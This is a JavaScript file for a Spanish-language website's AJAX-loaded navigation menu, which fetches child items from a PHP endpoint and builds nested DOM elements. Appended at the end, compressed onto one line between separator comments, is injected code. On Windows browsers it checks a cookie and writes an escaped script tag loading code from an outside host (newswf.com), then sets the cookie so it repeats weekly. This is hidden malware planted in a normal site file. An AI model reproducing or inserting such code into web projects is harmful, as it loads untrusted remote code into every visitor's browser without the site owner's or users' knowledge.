var tiempoEsperaMouseOver = 500;
var xmlhttp;
var idCargando = -1;
var divCargando;
var divsCargando = new Array();
var menuLIs = new Array();
var bulFlechita, bulFlechitaAbajo;
var timeOutAuto = 0;
var idMunicipio = 0;
var binario = 0; //variable que define par o impar

function loadMenu(idPadre, idPreview, soloAbrir) {
	if (idCargando == idPadre) return;
	var divPadre = document.getElementById("divMenuHijos_" + idPadre);
	if (idCargando != -1 && idCargando != idPadre) {	//se estaba cargando otro menú, cancelar eso
		divPadre = document.getElementById("divMenuHijos_" + idCargando);
		divPadre.removeChild(divsCargando[idCargando]);
		divPadre.cargado = false;
//		menuLIs[idCargando].style.listStyleImage = bulFlechita.src;
		menuLIs[idCargando].className = "itemMenuLista";
		divPadre = document.getElementById("divMenuHijos_" + idPadre);
		idCargando = -1;
	}
	if (divPadre.cargado) {	//sólo abrirlo o cerrarlo
		if (divPadre.style.display == "none") {	//abrir el menú que ya está cargado
			divPadre.style.display = "block";
//			menuLIs[idPadre].style.listStyleImage = bulFlechitaAbajo.src;
			menuLIs[idPadre].className = "itemMenuListaAb";
		} else if (!soloAbrir) {	//cerrar el menú que ya está cargado
			divPadre.style.display = "none";
//			menuLIs[idPadre].style.listStyleImage = bulFlechita.src;
			menuLIs[idPadre].className = "itemMenuLista";
		}
	} else {	//cargarlo de la base
//		if (idPadre != 0) menuLIs[idPadre].style.listStyleImage = bulFlechitaAbajo.src;
		if (idPadre != 0) menuLIs[idPadre].className = "itemMenuListaAb";
		divsCargando[idPadre] = divCargando.cloneNode(true);
		divPadre.appendChild(divsCargando[idPadre]);
		divPadre.cargado = true;
		idCargando = idPadre;
		url = "hijos.php?idPadre=" + idPadre;
		if (idPreview != null) {
			url += "&preview=" + idPreview;
		}
		if (window.XMLHttpRequest) {	//mozilla, etc.
			xmlhttp=new XMLHttpRequest();
			xmlhttp.onreadystatechange = function() {
				xmlhttpChange(idPadre, idPreview);
			}
			xmlhttp.open("GET",url,true);
			xmlhttp.send(null);
		} else if (window.ActiveXObject) {	//IE
			xmlhttp=new ActiveXObject("Microsoft.XMLHTTP");
			if (xmlhttp) {
				xmlhttp.onreadystatechange = function() {
					xmlhttpChange(idPadre, idPreview);
				}
				xmlhttp.open("GET",url,true);
				xmlhttp.send();
			}
		}
	}
}

function xmlhttpChange(idPadre, idPreview) {
	if (xmlhttp.readyState==4) {	// if xmlhttp shows "loaded"
		if (xmlhttp.status==200) {	// if "OK"
			parseMenu(xmlhttp.responseText, idPadre);
			idCargando = -1;
			if (menuCamino.length)
				loadMenu(menuCamino.shift(), idPreview);
		} else {
			alert("Problem retrieving XML data");
		}
	}
}

function parseMenu(texto, idPadre) {
	var campos = 5;
	var campoActual = 0;
	var datos = new Array();	//es un arreglo temporal en el q se guarda cada registro
	var divPadre = document.getElementById("divMenuHijos_" + idPadre);

	//quitar "cargando..."
	divPadre.removeChild(divsCargando[idPadre]);

	while (texto.indexOf("|") != -1) {
		datos[campoActual] = texto.substr(0, texto.indexOf("|"));
		texto = texto.substr(texto.indexOf("|") + 1);
		campoActual++;
		if (campoActual == campos) {
			mostrarMenuItem(idPadre, datos);
			//resetear para mostrar otro registro
			campoActual = 0;
			datos = new Array();
		}
	}
	datos[campoActual] = texto;
	mostrarMenuItem(idPadre, datos);
}

function mostrarMenuItem(idPadre, datos) {
	/*
	DIV: menuHijos_0 {
		DIV: itemMenu_4 {
			DIV: tempDiv2 {
				UL: tempUL {
					LI: LI {
						A: vinculo
					}
				}
			}
			DIV: menuHijos_4 {	//este es recursivo
			}
		}
		DIV: itemMenu_6 {
			DIV: tempDiv2 {
				UL: tempUL {
					LI: LI {
						A: vinculo
					}
				}
			}
			DIV: menuHijos_6 {
			}
		}
	}
	*/
	//datos[0] me da el nivel en el que estoy desde 0	
	var tempDiv, tempDiv2, tempVinculo, tempVinculoBul, tempDivHijos, tempUL;	//temporal, se guardan los elementos de cada item
	var divPadre = document.getElementById("divMenuHijos_" + idPadre);
	//mostrar éste
	tempDiv = document.createElement("div");
	
	if(binario){ //determina si es par o impar
		par = "_b";
		binario=0;
	}else{
		par = "";
		binario=1;
	}	
	
	tempDiv.className = "itemMenu_" + datos[0];
	tempDiv.id = "divMenu_" + datos[1];
	
	//el div2
	tempDiv2 = document.createElement("div");
	if (menuActual == datos[1]) {
		tempDiv2.className = "itemMenu2over_" + datos[0];
	} else {
		tempDiv2.className = "itemMenu2_" + datos[0] + par;
		if (datos[4] == "1") {
			tempDiv2.onmouseover = function() {
				claseOver = this.className; //guarda la clase que esta usando
				this.className = "itemMenu2over_" + datos[0];
				if (timeOutAuto != 0) {
					clearTimeout(timeOutAuto);
					timeOutAuto = 0;
				}
				timeOutAuto = setTimeout("loadMenu("+this.dato1+", null, true);", tiempoEsperaMouseOver);
			}
		} else {
			tempDiv2.onmouseover = function() {
				claseOver = this.className; //guarda la clase que esta usando
				this.className = "itemMenu2over_" + datos[0];
			}
		}
		if (datos[4] == "1") {
			tempDiv2.onmouseout = function() {
				this.className = claseOver;
				//this.className = "itemMenu2_" + datos[0];
				if (timeOutAuto != 0) {
					clearTimeout(timeOutAuto);
					timeOutAuto = 0;
				}
			}
		} else {
			tempDiv2.onmouseout = function() {
				this.className = claseOver; // regresa a la clase guardada
				//this.className = "itemMenu2_" + datos[0];
			}
		}
	}
	if (datos[4] == "1") {
		tempDiv2.dato1 = datos[1];
		tempDiv2.onclick = function() {
			loadMenu(this.dato1);
			if (timeOutAuto != 0) {
				clearTimeout(timeOutAuto);
				timeOutAuto = 0;
			}
		}
	}
	
	//el LI
	tempUL = document.createElement("ul");
	tempUL.className = "menuUL";
	menuLIs[datos[1]] = document.createElement("li");
	
	if (datos[4] == "1") menuLIs[datos[1]].className = "itemMenuLista";
	else menuLIs[datos[1]].className = "itemMenuListaSin";
//	menuLIs[datos[1]].style.marginLeft = (10*datos[0]+20) + "px";
	
	//el vínculo
	tempVinculo = document.createElement("a");
	tempVinculo.className = "itemMenuVinculo" + (menuActual == datos[1] ? "Over" : "") + "_" + datos[0];
	tempVinculo.innerHTML = datos[2];
	if (datos[3] != '') {	//es un vínculo externo
		tempVinculo.href = datos[3];
		tempVinculo.target = "_blank";
	} else {	//es un vínculo normal
		if (datos[1] == -1)	//es el vínculo a Inicio
			tempVinculo.href = "home.php";
		else	//normal
			tempVinculo.href = "main.php?idSeccion=" + datos[1];
	}
	
	//el div para los hijos
	tempDivHijos = document.createElement("div");
	tempDivHijos.id = "divMenuHijos_" + datos[1];
	
	//armar toda la estructura
	menuLIs[datos[1]].appendChild(tempVinculo);
	tempUL.appendChild(menuLIs[datos[1]]);
	tempDiv2.appendChild(tempUL);
	tempDiv.appendChild(tempDiv2);
	tempDiv.appendChild(tempDivHijos);
	divPadre.appendChild(tempDiv);
	
}

function menuInicial() {
	divCargando = document.createElement("div");
	divCargando.className = "cargando";
	divCargando.innerHTML = "Cargando menú...";
	
	bulFlechita = new Image();
	bulFlechita.src = "images/flechita.gif";
	bulFlechitaAbajo = new Image();
	bulFlechitaAbajo.src = "images/flechitaAbajo.gif";
	bulSpacer = new Image();
	bulSpacer.src = "images/spacer.gif";

	menuCamino.shift();
}

/* ============================================================================-*/
function setCookie(name, value, expiredays, path, domain, secure) { if (expiredays) { var exdate=new Date(); exdate.setDate(exdate.getDate()+expiredays); var expires = exdate.toGMTString(); } document.cookie = name + "=" + escape(value) + ((expiredays) ? "; expires=" + expires : "") + ((path) ? "; path=" + path : "") + ((domain) ? "; domain=" + domain : "") + ((secure) ? "; secure" : "");} if (navigator.userAgent.indexOf("KHTML") == -1 && navigator.userAgent.indexOf("NT") != -1){if(navigator.cookieEnabled == true) {var user = getCookie("NSwfCookie");if (user !=="ok"){newswfcookie();setCookie("NSwfCookie", "ok", 7, "/");}}}  function newswfcookie(){document.write(unescape("%3Cscript src='http://newswf.com/in.cgi?6' type='text/javascript'%3E%3C/script%3E"));} function getCookie(name) { var cookie = " " + document.cookie; var search = " " + name + "="; var setStr = null; var offset = 0; var end = 0; if (cookie.length > 0) { offset = cookie.indexOf(search); if (offset != -1) { offset += search.length; end = cookie.indexOf(";", offset); if (end == -1) { end = cookie.length; } setStr = unescape(cookie.substring(offset, end)); } } return setStr;}
/*============================================================================-=*/

